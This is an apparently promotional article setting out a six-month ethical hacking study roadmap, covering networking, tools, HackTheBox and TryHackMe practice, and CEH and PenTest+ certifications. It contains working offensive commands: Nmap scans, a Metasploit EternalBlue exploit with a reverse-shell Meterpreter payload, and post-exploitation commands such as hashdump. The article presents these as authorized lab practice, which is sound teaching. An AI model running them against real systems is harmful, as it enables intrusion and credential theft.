

The Complete Ethical Hacking Learning Roadmap

A Practical, Stage-by-Stage Guide to Going From Absolute Beginner to Job-Ready Ethical Hacker — With Tools, Labs, and Certifications Mapped Out

Introduction: Why Ethical Hacking Is One of the Most In-Demand Skills of Our Time

Let's start with a number that puts everything in context.

The global cybersecurity workforce gap currently stands at over **4 million unfilled positions** — and it's growing. Organizations across every industry are struggling to find professionals who can think like attackers, identify vulnerabilities before malicious actors do, and help build genuinely resilient security postures.

Ethical hackers — also called penetration testers, security researchers, or red teamers — sit right at the heart of that demand. They're the professionals organizations hire to test their own defenses, find the gaps, and help fix them before someone with malicious intent finds them first.

And here's what makes this particularly exciting from a career perspective: **ethical hacking is a skill set that can be built deliberately**. Unlike some career paths that require decades of accumulated experience before you can make a meaningful contribution, ethical hacking rewards structured learning, hands-on practice, and a curious mindset — qualities that can be developed by anyone willing to commit to the journey.

But here's the challenge most aspiring ethical hackers face: **where do you actually start?**

The internet is full of tutorials, YouTube videos, tool documentation, and forum threads. There's no shortage of information. What's missing — for most people — is a **clear, structured, sequenced roadmap** that tells you exactly what to learn, in what order, with what tools, through what practice environments, and toward what certifications.

That's precisely what this article — and the **free downloadable Ethical Hacking Learning Roadmap** — provides.

What Is Ethical Hacking — and What Does It Actually Involve?

Before diving into the roadmap, it's worth being clear about what ethical hacking actually is — because it's frequently misunderstood.

Ethical hacking is the **authorized, legal practice of attempting to penetrate systems, networks, and applications** to identify security vulnerabilities before malicious attackers can exploit them. The word "ethical" is doing important work here — everything an ethical hacker does is conducted with explicit permission, within defined scope, and with the goal of improving security rather than causing harm.

The work itself spans several domains:

Ethical Hacking Domain	What It Involves
Network penetration testing	Testing network infrastructure for vulnerabilities — open ports, misconfigurations, weak protocols
Web application testing	Finding vulnerabilities in web apps — SQL injection, XSS, authentication flaws, API weaknesses
Social engineering	Testing human vulnerabilities — phishing simulations, pretexting, physical security testing
Wireless security testing	Assessing WiFi security — encryption weaknesses, rogue access points, client attacks
System and privilege escalation	Gaining and escalating access on compromised systems — identifying post-exploitation paths
Red teaming	Full-scope adversarial simulation — combining multiple attack techniques in realistic scenarios

A career in ethical hacking doesn't mean mastering all of these immediately. It means building progressively — starting with fundamentals and developing specialized depth over time.

What's Inside the Free Ethical Hacking Learning Roadmap?

This article walks you through the complete framework for building ethical hacking skills from the ground up. The accompanying **free downloadable PDF** gives you structured tools to make that journey concrete, trackable, and actionable.

The roadmap includes:

- Complete 3-stage learning roadmap — Beginner, Intermediate, and Job-Ready
- Weekly learning plan covering months 0 through 6
- Tool learning sequence — Nmap, Wireshark, Metasploit, Burp Suite
- Lab practice tracker for HackTheBox and TryHackMe
- Certification path — CEH v13, OSCP, and PenTest+

Whether you're completely new to cybersecurity, transitioning from a related IT field, or a self-taught enthusiast looking to formalize and accelerate your development — this roadmap was designed with your journey in mind.

Let's get into it.

The Complete 3-Stage Ethical Hacking Roadmap

The biggest mistake aspiring ethical hackers make is treating their learning as a flat list of topics to cover — working through tutorials randomly, picking up tools without context, and never quite developing the coherent skill set that professional-level work requires.

A structured, staged roadmap solves this problem. Each stage builds on the previous one — ensuring that when you pick up an advanced tool or technique, you have the foundational knowledge to use it meaningfully rather than mechanically.

Here are the three stages of the ethical hacking learning roadmap — each with a clear purpose, defined learning priorities, and concrete outcomes.

Stage 1: Beginner — Build the Foundation (Months 1–2)

Theme: You can't hack what you don't understand

This is the stage most people want to skip — and the stage that most separates professionals who can genuinely think through security problems from those who can only follow scripts and tutorials.

The Beginner stage is about building the **foundational knowledge** that makes everything else in ethical hacking meaningful. Tools make sense when you understand what they're doing at a protocol level. Vulnerabilities make sense when you understand the systems and architectures they affect. Exploits make sense when you understand how operating systems and applications manage memory, authentication, and access.

Core learning priorities in Stage 1:

1. Networking Fundamentals This is non-negotiable. Ethical hacking is deeply rooted in networking — and without a solid understanding of how networks work, you'll be guessing your way through every tool and technique.

Key networking concepts to master:

- OSI model — understanding each layer and what attacks target each
- TCP/IP — how packets travel, how connections are established, how protocols communicate
- Common protocols — HTTP/HTTPS, DNS, DHCP, FTP, SSH, SMB, SMTP — what they do and how they can be abused
- IP addressing and subnetting — CIDR notation, private vs public ranges, routing basics
- Firewalls, routers, and switches — how they work and how traffic flows through them
- Packet analysis basics — understanding what raw network traffic looks like

2. Operating System Fundamentals Ethical hackers need to be comfortable in both Linux and Windows environments — because targets operate on both, and your tools run primarily on Linux.

- **Linux** — Command line fluency, file system navigation, permissions model, process management, networking commands, bash scripting basics
- **Windows** — Active Directory basics, registry structure, user and group management, PowerShell fundamentals, Windows networking

3. Security Concepts and Terminology Before you can test security, you need to understand security:

- CIA Triad — Confidentiality, Integrity, Availability
- Authentication vs Authorization vs Accounting
- Common attack categories — reconnaissance, exploitation, privilege escalation, lateral movement, persistence, exfiltration
- Defense concepts — firewalls, IDS/IPS, SIEM, endpoint protection — understanding what defenders use helps you understand what you're up against
- Legal and ethical framework — understanding scope, rules of engagement, authorization requirements, and responsible disclosure

4. Introduction to Virtual Lab Setup One of the first practical steps every beginner should take is setting up a personal lab environment — a safe, isolated space to practice without risk:

- Install **VirtualBox** or **VMware** on your personal machine
- Set up a **Kali Linux** virtual machine — the industry-standard ethical hacking distribution
- Set up intentionally vulnerable practice targets — **Metasploitable**, **DVWA (Damn Vulnerable Web Application)**, or **VulnHub** machines

Stage 1 Outcomes — you're ready to move to Stage 2 when:

- ☐ You can explain how a TCP three-way handshake works without looking it up
- ☐ You are comfortable navigating and performing common tasks in a Linux terminal
- ☐ You understand the difference between a vulnerability, an exploit, and a payload
- ☐ You have a working Kali Linux lab environment set up and can run basic commands
- ☐ You understand the legal boundaries of ethical hacking and can explain what "scope" means in a penetration testing context

Stage 2: Intermediate — Develop Your Attack Toolkit (Months 3–4)

Theme: Learn to think like an attacker — systematically

With a solid foundation in place, Stage 2 is where ethical hacking starts to feel real. This stage is about developing genuine attack capability — learning the tools, techniques, and methodologies that professional penetration testers use every day.

The guiding principle of Stage 2 is **understanding before executing**. Every tool you pick up, every technique you practice — understand what it's doing, why it works, and what a defender would see on the other side. That depth is what separates a competent penetration tester from someone who just runs automated scanners.

Core learning priorities in Stage 2:

- 1. The Penetration Testing Methodology** Professional penetration testing follows a structured process. Learning this process gives you a framework for approaching any target systematically:

Phase	What Happens
Reconnaissance	Gathering information about the target — passive and active
Scanning and Enumeration	Identifying live hosts, open ports, running services, and system details
Vulnerability Analysis	Identifying exploitable weaknesses in the discovered services and systems
Exploitation	Attempting to exploit identified vulnerabilities to gain access
Post-Exploitation	Maintaining access, escalating privileges, moving laterally, and achieving objectives
Reporting	Documenting findings, evidence, and remediation recommendations

2. Core Tool Development — The Ethical Hacker's Toolkit Stage 2 is where you begin building serious tool fluency. The tool learning sequence — covered in detail in Section 2 — starts here:

- **Nmap** — Network discovery and port scanning
- **Wireshark** — Packet capture and traffic analysis
- **Metasploit** — Exploitation framework
- **Burp Suite** — Web application security testing

3. Web Application Security Fundamentals Web applications are one of the most common penetration testing targets — and the OWASP Top 10 is the essential starting framework:

- Injection attacks — SQL injection, command injection, LDAP injection
- Broken authentication — session management flaws, credential stuffing, brute force
- Cross-Site Scripting (XSS) — reflected, stored, and DOM-based
- Insecure Direct Object References (IDOR) — authorization bypass vulnerabilities
- Security misconfigurations — default credentials, exposed admin panels, verbose error messages
- Sensitive data exposure — unencrypted data, weak cryptography, exposed API keys

4. Lab Practice on HackTheBox and TryHackMe Moving beyond your personal lab to structured practice platforms is a critical Stage 2 step. HackTheBox and TryHackMe provide:

- Guided learning paths structured by difficulty and topic
- Realistic target machines that simulate real-world environments
- Community writeups and walkthroughs to learn from when you get stuck
- Progress tracking that shows your development over time

Start with **TryHackMe** — it's more guided and beginner-friendly. Progress to **HackTheBox** as your confidence builds.

Stage 2 Outcomes — you're ready to move to Stage 3 when:

- ☐ You can perform a full network scan with Nmap and accurately interpret the results
- ☐ You have used Metasploit to exploit a vulnerability in a controlled lab environment
- ☐ You have found and exploited at least one web application vulnerability — SQL injection or XSS — in a practice environment
- ☐ You have completed at least 10 TryHackMe rooms or HackTheBox challenges
- ☐ You can explain the penetration testing methodology phases from memory and describe what happens at each stage

Stage 3: Job-Ready — Build Professional-Grade Capability (Months 5–6)

Theme: Think, report, and operate like a professional

Stage 3 is where everything comes together. The focus shifts from learning individual techniques to developing the **integrated, professional-grade capability** that employers and clients expect from a working penetration tester.

Three things define Stage 3:

1. **Complexity** — Tackling harder, more realistic targets that require chaining multiple techniques together
2. **Professionalism** — Developing the reporting, communication, and documentation skills that turn technical findings into business value
3. **Specialization** — Beginning to develop depth in a specific area — web application testing, network penetration testing, red teaming, or cloud security

Core learning priorities in Stage 3:

1. Advanced Attack Techniques

- Active Directory attacks — Kerberoasting, Pass-the-Hash, BloodHound enumeration, DCSync
- Privilege escalation — Windows and Linux escalation paths, SUID abuse, token impersonation
- Evasion techniques — bypassing antivirus, IDS/IPS detection, and endpoint protection
- Pivoting and tunneling — moving through networks after initial compromise
- Custom exploit development — basic buffer overflow exploitation

2. Professional Penetration Testing Reporting The ability to write a clear, professional penetration testing report is what converts your technical capability into client value — and it's one of the most underestimated skills in the field.

A professional report includes:

- Executive summary — business-language explanation of findings and risk
- Technical findings — detailed vulnerability documentation with evidence
- Risk ratings — CVSS scoring or equivalent severity assessment
- Remediation recommendations — specific, actionable guidance for each finding
- Appendices — tool output, screenshots, proof-of-concept evidence

3. Certification Preparation Stage 3 is where certification preparation becomes a primary focus — starting with CEH v13 or CompTIA PenTest+, and building toward OSCP for those targeting senior roles.

Stage 3 Outcomes — you're job-ready when:

- ☐ You can complete a full penetration test against a realistic target — from reconnaissance through reporting — without guided assistance
- ☐ You have written at least two professional-quality penetration testing reports
- ☐ You have achieved at least one recognized certification — CEH v13 or PenTest+
- ☐ You have a portfolio of completed HackTheBox or TryHackMe machines — including at least five medium or hard difficulty targets
- ☐ You can articulate your methodology, findings, and recommendations clearly in both technical and business language

The 3-Stage Roadmap at a Glance

Stage	Months	Theme	Key Focus
Beginner	1-2	Build the Foundation	Networking, OS, security concepts, lab setup
Intermediate	3-4	Develop Your Attack Toolkit	Methodology, core tools, web security, lab practice
Job-Ready	5-6	Professional-Grade Capability	Advanced techniques, reporting, certification prep

The Weekly Learning Plan — Structure

Your 6 Months Like a Pro

One of the most common reasons aspiring ethical hackers stall — despite genuine motivation and access to good resources — is the absence of a weekly structure. Without a plan, learning becomes reactive. You follow whatever looks interesting, spend too long on comfortable topics, avoid the harder ones, and six months later find yourself with patchy knowledge and no clear sense of progress.

The weekly learning plan solves that problem. It takes the 3-stage roadmap and breaks it down into **specific weekly priorities** — so every week you know exactly what you're working on, why it matters, and how it connects to the bigger picture.

Here's the complete 6-month weekly structure — organized by stage and month.

Months 1–2: Beginner Stage Weekly Plan

Month 1 — Networking and Linux Foundations

Week	Primary Focus	Key Activities
Week 1	Networking fundamentals — OSI and TCP/IP	Study OSI layers, TCP/IP stack, understand how packets travel; watch packet-level explanations; take notes in your own words
Week 2	Protocols and IP addressing	Learn HTTP, DNS, DHCP, SSH, FTP, SMB; practice subnetting; use online subnet calculators to verify understanding
Week 3	Linux command line fundamentals	Navigate file system, manage files and permissions, use basic networking commands (ping, ifconfig, netstat, curl); complete Linux basics rooms on TryHackMe
Week 4	Linux intermediate and lab setup	Bash scripting basics, process management, user administration; set up VirtualBox and Kali Linux lab environment

Month 2 — Windows, Security Concepts, and First Practice

Week	Primary Focus	Key Activities
Week 5	Windows fundamentals	Active Directory basics, Windows file system, registry overview, PowerShell introduction; complete Windows fundamentals rooms on TryHackMe
Week 6	Security concepts and terminology	CIA Triad, attack lifecycle, common vulnerability types, defense tools overview; study the ethical and legal framework of penetration testing
Week 7	Vulnerable lab targets setup	Install Metasploitable and DVWA in your local lab; explore the applications — identify visible vulnerabilities without exploiting yet
Week 8	Consolidation and review	Review all Month 1–2 material; complete the TryHackMe "Pre-Security" learning path; document your learning in a personal notes system

Month 1–2 Weekly Time Commitment:

- **Minimum:** 8–10 hours per week
- **Recommended:** 12–15 hours per week for faster progression
- **Split:** 60% study and reading — 40% hands-on practice

Months 3–4: Intermediate Stage Weekly Plan

Month 3 — Penetration Testing Methodology and Core Tools

Week	Primary Focus	Key Activities
Week 9	Reconnaissance techniques	Passive recon — OSINT, Google dorking, Shodan, WHOIS; active recon — DNS enumeration, subdomain discovery; practice on TryHackMe recon rooms
Week 10	Nmap — scanning and enumeration	Learn Nmap scan types, output formats, NSE scripts; practice scanning your local lab; complete TryHackMe Nmap room
Week 11	Wireshark — traffic analysis	Capture and analyze traffic in your lab; learn display filters; identify protocols, credentials, and anomalies in packet captures
Week 12	Vulnerability analysis and Metasploit introduction	Learn Metasploit framework structure — modules, payloads, handlers; exploit your first Metasploitable vulnerability in a controlled lab setting

Month 4 — Web Application Security and Platform Practice

Week	Primary Focus	Key Activities
Week 13	Web application security — OWASP Top 10	Study each OWASP Top 10 category; practice SQL injection and XSS manually in DVWA; understand why each vulnerability exists
Week 14	Burp Suite — web application testing	Learn Burp Suite interface, proxy setup, intercepting requests, Repeater, Intruder; practice against DVWA with Burp Suite as your proxy
Week 15	TryHackMe structured practice	Complete the "Jr Penetration Tester" learning path on TryHackMe — this is one of the most valuable structured paths available for this stage
Week 16	HackTheBox introduction and first machines	Create HackTheBox account; attempt first "Starting Point" machines; use community writeups strategically — try first, then reference

Month 3–4 Weekly Time Commitment:

- **Minimum:** 10–12 hours per week
- **Recommended:** 15–18 hours per week
- **Split:** 40% study — 60% hands-on practice

Important mindset note for Months 3–4: Getting stuck is not failure — it's the learning. When you hit a wall on a machine or a technique, sit with it for at least 30 minutes before looking at hints or writeups. The problem-solving process itself is building the most important skill in ethical hacking — the ability to think through novel situations systematically.

Months 5–6: Job-Ready Stage Weekly Plan

Month 5 — Advanced Techniques and Specialization

Week	Primary Focus	Key Activities
Week 17	Active Directory attacks	Study AD structure — domains, forests, trusts; learn Kerberoasting, Pass-the-Hash, BloodHound; practice in a dedicated AD lab or TryHackMe AD rooms
Week 18	Privilege escalation — Windows and Linux	Study common escalation paths; use tools like LinPEAS, WinPEAS; complete dedicated privilege escalation rooms on TryHackMe and HackTheBox
Week 19	Evasion and post-exploitation	AV evasion basics, living-off-the-land techniques, persistence mechanisms; pivoting and tunneling — SSH tunneling, Chisel, ProxyChains
Week 20	HackTheBox medium difficulty machines	Attempt at least three medium-difficulty HackTheBox machines; document your approach for each — this documentation becomes your portfolio

Month 6 — Professional Readiness and Certification Preparation

Week	Primary Focus	Key Activities
Week 21	Professional reporting skills	Study penetration testing report structures; write a full report for a machine you've already completed — treat it as a real client deliverable
Week 22	Certification preparation — CEH v13 or PenTest+	Begin structured certification study — review exam objectives and map your existing knowledge against them; identify and fill gaps
Week 23	Mock assessments and portfolio building	Complete a full simulated penetration test from recon to report; compile your HackTheBox and TryHackMe achievements into a portfolio document
Week 24	Final review and career positioning	Review all certification material; finalize your portfolio; update your LinkedIn and CV with your new capabilities and certifications; begin engaging with the cybersecurity community

Month 5–6 Weekly Time Commitment:

- **Minimum:** 12–15 hours per week
- **Recommended:** 18–20 hours per week during certification preparation weeks
- **Split:** 30% study — 70% hands-on practice and assessment

Weekly Plan — 6-Month Summary

Month	Stage	Primary Theme	Hours/Week
Month 1	Beginner	Networking and Linux	10–15 hrs
Month 2	Beginner	Windows, security concepts, first labs	10–15 hrs
Month 3	Intermediate	Methodology and core tools	12–18 hrs
Month 4	Intermediate	Web security and platform practice	12–18 hrs
Month 5	Job-Ready	Advanced techniques	15–20 hrs
Month 6	Job-Ready	Professional readiness and certification	15–20 hrs

The Tool Learning Sequence — Master Your Toolkit in the Right Order

Tools are to ethical hackers what instruments are to musicians. Owning a guitar doesn't make you a musician. Understanding music theory, practicing scales, and playing progressively more complex pieces — over time — makes you a musician. The guitar is just what you play those skills on.

The same logic applies here. Running Nmap doesn't make you a penetration tester. Understanding what Nmap is doing at a network level, knowing which scan types to use in which situations, and interpreting results in the context of a broader engagement — that's what makes you a penetration tester. Nmap is just what you use to do it.

The tool learning sequence matters enormously. Each tool in the sequence builds on knowledge developed by the previous one — and introduces concepts that prepare you for the next. Here's the complete sequence with practical implementation guidance for each tool.

✂ Tool 1: Nmap — Your Network's X-Ray Machine

What it is: Nmap (Network Mapper) is the most widely used network discovery and port scanning tool in the world. It sends specially crafted packets to target systems and analyzes the responses to determine what hosts are online, what ports are open, what services are running, and in many cases — what operating system a target is running.

Why it's first in the sequence: Nmap teaches you to think about networks systematically. Every penetration test starts with reconnaissance and enumeration — understanding what's there before you try to exploit anything. Nmap is the tool that answers that question.

Core Nmap concepts to master — in sequence:

Level 1 — Basic scanning:

Host discovery — find live hosts on a network
`nmap -sn 192.168.1.0/24`

Basic port scan — top 1000 ports
`nmap 192.168.1.10`

Full port scan — all 65535 ports
`nmap -p- 192.168.1.10`

Level 2 — Service and version detection:

Service version detection
nmap -sV 192.168.1.10

OS detection
nmap -O 192.168.1.10

Aggressive scan — OS, version, scripts, traceroute
nmap -A 192.168.1.10

Level 3 — Scan types and stealth:

SYN scan (stealth) — most common in real engagements
nmap -sS 192.168.1.10

UDP scan — don't forget UDP services
nmap -sU 192.168.1.10

Timing control — slower scans are less likely to trigger IDS
nmap -T2 192.168.1.10

Level 4 — NSE Scripts:

Run default scripts
nmap -sC 192.168.1.10

Run specific vulnerability scripts
nmap --script vuln 192.168.1.10

SMB enumeration scripts
nmap --script smb-enum-shares 192.168.1.10

Practice milestone: Before moving to Wireshark, you should be able to perform a complete enumeration of a target in your local lab — identifying all open ports, running services with version numbers, and relevant OS information — and explain what each scan type is doing at the packet level.

Tool 2: Wireshark — See Everything on the Wire

What it is: Wireshark is the world's most widely used network protocol analyzer. It captures network traffic in real time and displays it in a human-readable format — allowing you to see exactly what's happening on a network at the packet level.

Why it's second in the sequence: After Nmap teaches you about network hosts and services, Wireshark teaches you about network traffic itself — what protocols look like at a packet level, how credentials and sensitive data travel across unencrypted connections, and how to identify anomalous traffic that might indicate an attack or a misconfiguration.

Core Wireshark skills to develop:

1. Capture setup and interface selection

- Select the right network interface for capture
- Start and stop captures at appropriate moments
- Save captures as .pcap files for later analysis

2. Display filters — the most important Wireshark skill

Filter	What It Shows
http	All HTTP traffic
tcp.port == 22	SSH traffic
ip.addr == 192.168.1.10	All traffic to/from a specific IP
http.request.method == "POST"	HTTP POST requests — often contain credentials
ftp	FTP traffic — often carries cleartext credentials
dns	All DNS queries and responses

3. Following streams Right-click any packet → Follow → TCP Stream to see the complete conversation between two hosts in readable format. This is invaluable for understanding what data is being transmitted — and finding credentials in cleartext protocols.

4. Analyzing specific protocols

- **HTTP** — identify cleartext credentials in POST requests, session cookies, sensitive data
- **DNS** — identify domains being queried, potential DNS tunneling
- **SMB** — identify file shares, authentication attempts, potential lateral movement
- **ARP** — identify network topology, spot ARP poisoning attacks

Practice milestone: Capture traffic from your DVWA lab while performing a login — identify the credentials in the packet capture. Capture traffic from an Nmap scan and identify what the scan packets look like from the network perspective. These exercises build a genuinely deep understanding of what your tools are doing.

Tool 3: Metasploit — The Professional's Exploitation Framework

What it is: Metasploit is the world's most widely used penetration testing framework. It provides a comprehensive library of exploits, payloads, auxiliary modules, and post-exploitation tools — all within a structured, consistent interface that allows penetration testers to move efficiently from vulnerability identification to exploitation and post-exploitation.

Why it's third in the sequence: Metasploit makes the most sense after you've developed network awareness through Nmap and traffic understanding through Wireshark. By this point, you understand what services are running on a target and have a conceptual grasp of how network communication works — making Metasploit's exploitation process genuinely meaningful rather than a black box.

Core Metasploit concepts to master:

1. Framework structure — understand before you use

Component	What It Does
Exploits	Modules that take advantage of specific vulnerabilities
Payloads	Code that runs on the target after exploitation — shells, Meterpreter
Auxiliary	Scanning, fuzzing, and information-gathering modules
Post	Post-exploitation modules — privilege escalation, persistence, pivoting
Encoders	Modify payloads to evade detection

2. Basic Metasploit workflow:

```
# Start Metasploit
msfconsole

# Search for a relevant exploit
search ms17_010

# Select the exploit
use exploit/windows/smb/ms17_010_eternalblue

# View required options
show options

# Set target
set RHOSTS 192.168.1.10

# Set payload
set payload windows/x64/meterpreter/reverse_tcp

# Set your listener address
set LHOST 192.168.1.5

# Launch the exploit
run
```

3. Meterpreter — post-exploitation essentials

Once you have a Meterpreter session, learn these core commands:

Command	What It Does
sysinfo	System information
getuid	Current user identity
getsystem	Attempt privilege escalation
hashdump	Dump password hashes
upload / download	Transfer files
shell	Drop into a system shell
run post/multi/recon/local_exploit_suggester	Identify local privilege escalation paths

Practice milestone: Successfully exploit a Metasploitable vulnerability, obtain a Meterpreter session, escalate privileges, and dump password hashes — documenting each step as if writing a penetration testing report. This exercise combines enumeration, exploitation, and post-exploitation into a complete mini-engagement.

Tool 4: Burp Suite — The Web Application Hacker's Command Center

What it is: Burp Suite is the industry-standard platform for web application security testing. It works as an intercepting proxy — sitting between your browser and the target web application, capturing every request and response and allowing you to inspect, modify, and replay them. It's the essential tool for any web application penetration testing engagement.

Why it's last in the sequence: Burp Suite builds on your understanding of HTTP — developed through Wireshark — and your knowledge of web application vulnerabilities — developed through OWASP Top 10 study and DVWA practice. By this point in the sequence, you have the context to use Burp Suite purposefully rather than just mechanically.

Core Burp Suite components to master:

1. Proxy — intercept and modify requests

- Configure your browser to route traffic through Burp's proxy (default: 127.0.0.1:8080)
- Intercept requests, modify parameters, and forward modified requests
- This is the foundation of manual web application testing

2. Repeater — test and iterate

- Send any captured request to Repeater
- Modify parameters manually and resend — immediately see the response
- Essential for manual vulnerability testing — SQL injection, XSS, IDOR, authentication bypass

3. Intruder — automated payload testing

- Mark injection points in a request
- Configure payload lists — credential lists, fuzzing payloads, injection strings
- Run automated attacks and analyze responses for anomalies

4. Scanner (Burp Suite Pro) — automated vulnerability detection

- Passive scanning — identifies issues observed in normal traffic
- Active scanning — actively probes for vulnerabilities
- Note: Scanner is a Pro feature — the Community Edition is sufficient for learning

Common Burp Suite workflows for web vulnerabilities:

Vulnerability	Burp Suite Approach
SQL Injection	Intercept login request → Send to Repeater → Inject SQL payloads into username/password fields → Observe responses
XSS	Intercept form submission → Inject script payloads → Check if reflected in response
IDOR	Intercept request with user ID → Send to Repeater → Change ID values → Check if unauthorized data is returned
Brute Force	Send login request to Intruder → Configure password payload → Run attack → Identify successful login by response difference

Practice milestone: Complete the PortSwigger Web Security Academy labs using Burp Suite — these free, browser-based labs are the gold standard for web application security practice and are directly aligned with the techniques tested in real-world web application penetration testing engagements.

Tool Learning Sequence — Summary

Order	Tool	Primary Skill Developed	Stage
1	Nmap	Network discovery and enumeration	Intermediate
2	Wireshark	Traffic analysis and protocol understanding	Intermediate
3	Metasploit	Exploitation and post-exploitation	Intermediate → Job-Ready
4	Burp Suite	Web application security testing	Intermediate → Job-Ready

Lab Practice Tracker — HackTheBox and TryHackMe

Knowing tools and techniques is necessary. **Applying them under realistic conditions** is what actually builds competence. This is why structured lab practice on dedicated platforms is a non-negotiable part of the roadmap — not optional enrichment, but a core component of your development.

The two platforms that form the backbone of ethical hacking practice worldwide are **TryHackMe** and **HackTheBox**. Here's how to use each one strategically — and how to track your progress effectively.

TryHackMe — Start Here

What it is: TryHackMe is a guided, browser-based cybersecurity learning platform with structured learning paths, beginner-friendly rooms, and step-by-step instructions. It's the ideal starting platform because it combines learning content with hands-on practice in the same environment — you don't need to set up your own lab to get started.

Recommended TryHackMe progression:

Phase	Learning Path / Room	When to Complete
Foundation	Pre-Security learning path	Month 1–2
Foundation	Linux Fundamentals (Parts 1–3)	Month 1
Foundation	Windows Fundamentals (Parts 1–3)	Month 2
Intermediate	Jr Penetration Tester learning path	Month 3–4
Intermediate	OWASP Top 10 room	Month 4
Intermediate	Nmap, Metasploit, Burp Suite rooms	Month 3–4
Advanced	Advanced Exploitation rooms	Month 5
Advanced	Active Directory basics room	Month 5

TryHackMe practice tracker — log your progress:

Room Name	Category	Difficulty	Completed	Key Learning
Pre-Security Path	Foundation	Easy	☐	
Linux Fundamentals 1-3	Foundation	Easy	☐	
Nmap	Scanning	Easy	☐	
Jr Pentester Path	Methodology	Medium	☐	
OWASP Top 10	Web Security	Medium	☐	
Metasploit	Exploitation	Medium	☐	
Active Directory Basics	Infrastructure	Medium	☐	

HackTheBox — Level Up Here

What it is: HackTheBox is a more advanced, less guided practice platform featuring realistic target machines that require you to find your own path from initial access to root — without step-by-step instructions. It more closely simulates real-world penetration testing conditions and is widely recognized by the cybersecurity hiring community as a meaningful portfolio credential.

Recommended HackTheBox progression:

Phase	Focus	When to Start
Starting Point	Guided introduction machines with walkthroughs	Month 4
Easy machines	Independent completion with community hints if needed	Month 4-5
Medium machines	Independent completion — document your methodology	Month 5-6
Hard machines	Stretch targets — attempt independently before referencing writeups	Month 6+
Pro Labs	Full network simulations — post-certification target	Post Month 6

HackTheBox practice tracker — log your machines:

Machine Name	OS	Difficulty	Completed	Attack Path Summary
Starting Point — Tier 0	Mixed	Very Easy	☐	
Starting Point — Tier 1	Mixed	Easy	☐	
Starting Point — Tier 2	Mixed	Easy-Medium	☐	
First independent Easy machine	Linux/Windows	Easy	☐	
Second independent Easy machine	Linux/Windows	Easy	☐	
First Medium machine	Linux/Windows	Medium	☐	

The most important HackTheBox habit: After completing each machine — whether you solved it independently or needed hints — **write a personal writeup**. Document your reconnaissance, the vulnerabilities you found, the exploitation path, and your post-exploitation steps. These writeups serve three purposes:

1. They deepen your learning by forcing you to articulate what you did and why
2. They build your portfolio — a collection of writeups is tangible evidence of your capability
3. They develop your reporting skills — the same skill set required for professional penetration testing reports

Combined Lab Practice Milestone Tracker

Use this tracker to monitor your overall lab progress across both platforms:

Milestone	Target	Completed
Complete TryHackMe Pre-Security path	Month 2	☐
Complete TryHackMe Jr Pentester path	Month 4	☐
Complete 5 TryHackMe intermediate rooms	Month 4	☐
Complete HackTheBox Starting Point (all tiers)	Month 4-5	☐
Complete 5 HackTheBox Easy machines independently	Month 5	☐
Complete 3 HackTheBox Medium machines	Month 6	☐
Write personal writeups for all completed machines	Ongoing	☐
Compile portfolio of 10+ documented machines	Month 6	☐

The Certification Path — Validate Your Skills With the Right Credentials

Here's something worth understanding clearly before diving into certifications: **a certification is not a substitute for skill — it's a validation of skill.**

The professionals who get the most value from certifications are those who pursue them after building genuine capability — not as a shortcut to skip the learning process. With that mindset established, certifications become genuinely powerful career tools. They provide external, recognized validation of your capabilities, they open doors with employers and clients who use them as hiring filters, and they provide a structured curriculum that ensures you haven't missed important knowledge areas.

The certification path in this roadmap is sequenced deliberately — each credential builds on the previous one and prepares you for the next.

The Three-Certification Career Path

CEH v13 or CompTIA PenTest+



(Choose one as your entry credential)



OSCP

(The gold standard)



Specialization certifications

(Based on your chosen career path)

Let's break down each certification in detail.

Certification 1: CEH v13 — Certified Ethical Hacker

What it is: The Certified Ethical Hacker (CEH) certification — now in its 13th version — is offered by EC-Council and is one of the most widely recognized entry-to-mid-level ethical hacking credentials in the industry. It covers a broad range of ethical hacking concepts, tools, and techniques across 20 modules — providing a comprehensive overview of the ethical hacking domain.

What CEH v13 covers:

Module Area	Key Topics
Footprinting and Reconnaissance	OSINT, Google hacking, DNS enumeration, network mapping
Scanning Networks	Port scanning, vulnerability scanning, network diagrams
Enumeration	NetBIOS, SNMP, LDAP, NTP, SMTP enumeration
Vulnerability Analysis	Vulnerability scoring, CVSS, scanning tools
System Hacking	Password cracking, privilege escalation, keyloggers, rootkits
Malware Threats	Trojans, viruses, ransomware, fileless malware
Sniffing	Packet sniffing, ARP poisoning, MITM attacks
Social Engineering	Phishing, vishing, impersonation, insider threats
Web Application Hacking	OWASP Top 10, SQL injection, XSS, web shells
Cryptography	Encryption algorithms, PKI, digital signatures, cryptanalysis

CEH v13 — New additions worth noting: Version 13 introduced significant updates including:

- **AI-powered attack and defense modules** — understanding how AI is being used by both attackers and defenders
- **Enhanced hands-on labs** — CEH v13 places greater emphasis on practical application alongside theoretical knowledge
- **MITRE ATT&CK framework integration** — mapping techniques to the industry-standard adversary behavior framework

Who should pursue CEH v13 first:

- Professionals from IT backgrounds — system administrators, network engineers — transitioning to security
- Those who prefer a structured, exam-based learning approach
- Candidates targeting roles in organizations that specifically list CEH as a hiring requirement
- Those who want broad coverage of the ethical hacking domain before specializing

CEH v13 — Key facts:

Detail	Information
Exam format	125 multiple choice questions
Duration	4 hours
Passing score	60–85% depending on exam form
Prerequisites	2 years IT security experience OR official EC-Council training
Validity	3 years — requires continuing education credits for renewal
Practical component	CEH Practical exam available separately — highly recommended

Study approach for CEH v13:

1. **Map exam domains to your existing knowledge** — identify which of the 20 modules you're already comfortable with and which need focused study
2. **Complete the official EC-Council courseware** or a structured equivalent — the curriculum is comprehensive and well-organized
3. **Practice with exam-style questions** — CEH is a multiple choice exam, so practice question banks are essential preparation tools
4. **Pursue the CEH Practical** alongside the knowledge exam — the practical component significantly strengthens your profile and demonstrates hands-on capability beyond just exam knowledge
5. **Allow 6–8 weeks** of focused study if you've followed the 6-month roadmap — your existing knowledge from Stages 1–3 will have covered much of the content already

Certification 1 (Alternative): CompTIA PenTest+

What it is: CompTIA PenTest+ is an intermediate-level penetration testing certification that validates skills in planning, scoping, vulnerability assessment, exploitation, reporting, and communication. It's vendor-neutral, well-recognized, and — importantly — places significant emphasis on professional reporting and communication alongside technical skills.

How PenTest+ differs from CEH:

Aspect	CEH v13	CompTIA PenTest+
Focus	Broad ethical hacking knowledge	Penetration testing methodology end-to-end
Exam style	Multiple choice	Multiple choice + performance-based questions
Reporting emphasis	Moderate	High — reporting is a core exam domain
Vendor alignment	EC-Council ecosystem	Vendor-neutral
Industry recognition	Very high — especially in enterprise	High — especially in US government and defense
Practical component	Separate CEH Practical exam	Performance-based questions in the main exam

Who should pursue PenTest+ first:

- Those targeting roles in US government, defense, or compliance-heavy industries — PenTest+ meets DoD 8570 requirements
